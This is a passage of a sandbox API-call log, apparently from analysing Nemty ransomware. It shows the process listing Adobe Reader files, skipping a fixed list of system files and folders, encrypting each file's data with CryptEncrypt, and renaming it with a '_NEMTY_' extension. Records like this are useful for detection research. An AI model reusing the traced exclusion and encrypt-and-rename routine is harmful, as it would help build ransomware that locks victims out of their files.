dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.807] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21190, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".") returned 1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2="..") returned 1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2="...") returned 1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2="windows") returned -1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2="$RECYCLE.BIN") returned 1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2="rsa") returned -1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2="NTDETECT.COM") returned -1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2="ntldr") returned -1 [0170.807] lstrcmpiW (lpString1="nppdf32.dll", lpString2="MSDOS.SYS") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="IO.SYS") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="boot.ini") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="boot.ini") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="AUTOEXEC.BAT") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="ntuser.dat") returned -1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="desktop.ini") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="CONFIG.SYS") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="RECYCLER") returned -1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="BOOTSECT.BAK") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="bootmgr") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="programdata") returned -1 [0170.808] lstrcmpiW (lpString1="nppdf32.dll", lpString2="appdata") returned 1 [0170.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.dll", lpUsedDefaultChar=0x0) returned 11 [0170.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.dll", lpUsedDefaultChar=0x0) returned 11 [0170.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.dll", lpUsedDefaultChar=0x0) returned 11 [0170.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.808] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.dll", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.dll", lpUsedDefaultChar=0x0) returned 11 [0170.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.808] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.ESP", cAlternateFileName="")) returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="..") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="...") returned 1 [0170.808] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="windows") returned -1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="$RECYCLE.BIN") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="rsa") returned -1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="NTDETECT.COM") returned -1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="ntldr") returned -1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="MSDOS.SYS") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="IO.SYS") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="boot.ini") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="boot.ini") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="ntuser.dat") returned -1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="desktop.ini") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="CONFIG.SYS") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="RECYCLER") returned -1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="BOOTSECT.BAK") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="bootmgr") returned 1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="programdata") returned -1 [0170.809] lstrcmpiW (lpString1="nppdf32.ESP", lpString2="appdata") returned 1 [0170.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0170.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0170.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0170.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ESP", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ESP", lpUsedDefaultChar=0x0) returned 11 [0170.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.809] Sleep (dwMilliseconds=0x5) [0170.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x197654f0, dwHighDateTime=0x1d561e8)) [0170.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x197654f0, dwHighDateTime=0x1d561e8)) [0170.818] GetLastError () returned 0x0 [0170.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.818] GetLastError () returned 0x0 [0170.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.818] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.818] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.818] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0170.818] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="PGXf9l/NZ258os5vdddUYy4b8ASHObiGDjaYCpiubVKLJ9TX+Ufv5AdGj1NhOsju\r\n47ZSuZJEZrgjZtyZsmtQI3kYvv2T0pIBGaa3dpsUMLHjK7NmQ/2CCqqklwfow40L\r\nsl6PrxlUQ/KIya1bDQMoDXcInbsw1u/OIwdXz++8DgWZaYHF8PFC4UkEiXAF9Yqg\r\nhAzg7/yTu+EI17juGv7O7Q0OpAVWc1lC87GVYUDdAZfH/GxZBVdIbsr+DaxvsPTd\r\nqJorZGW80VG45shZ7DdhNme8EF3Alb26e6QwSMZ3s6LhY9+iXEing3/b7mw8XYZ9\r\nPB7W5LVhS4bqhJntJFOufQ==\r\n", pcchString=0x653e91c) returned 1 [0170.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0170.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.819] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.819] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.819] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.821] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.821] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.821] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.821] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.821] CloseHandle (hObject=0x254) returned 1 [0170.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0170.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0170.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0170.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.821] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.esp._nemty_kgobjgd_")) returned 1 [0170.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0170.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0170.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.823] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.EUQ", cAlternateFileName="")) returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="..") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="...") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="windows") returned -1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="rsa") returned -1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="NTDETECT.COM") returned -1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="ntldr") returned -1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="MSDOS.SYS") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="IO.SYS") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="boot.ini") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="boot.ini") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="ntuser.dat") returned -1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="desktop.ini") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="CONFIG.SYS") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="RECYCLER") returned -1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="bootmgr") returned 1 [0170.823] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="programdata") returned -1 [0170.824] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2="appdata") returned 1 [0170.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0170.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0170.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0170.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0170.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0170.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0170.824] Sleep (dwMilliseconds=0x5) [0170.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1978b650, dwHighDateTime=0x1d561e8)) [0170.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1978b650, dwHighDateTime=0x1d561e8)) [0170.833] GetLastError () returned 0x0 [0170.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.833] GetLastError () returned 0x0 [0170.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.834] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, 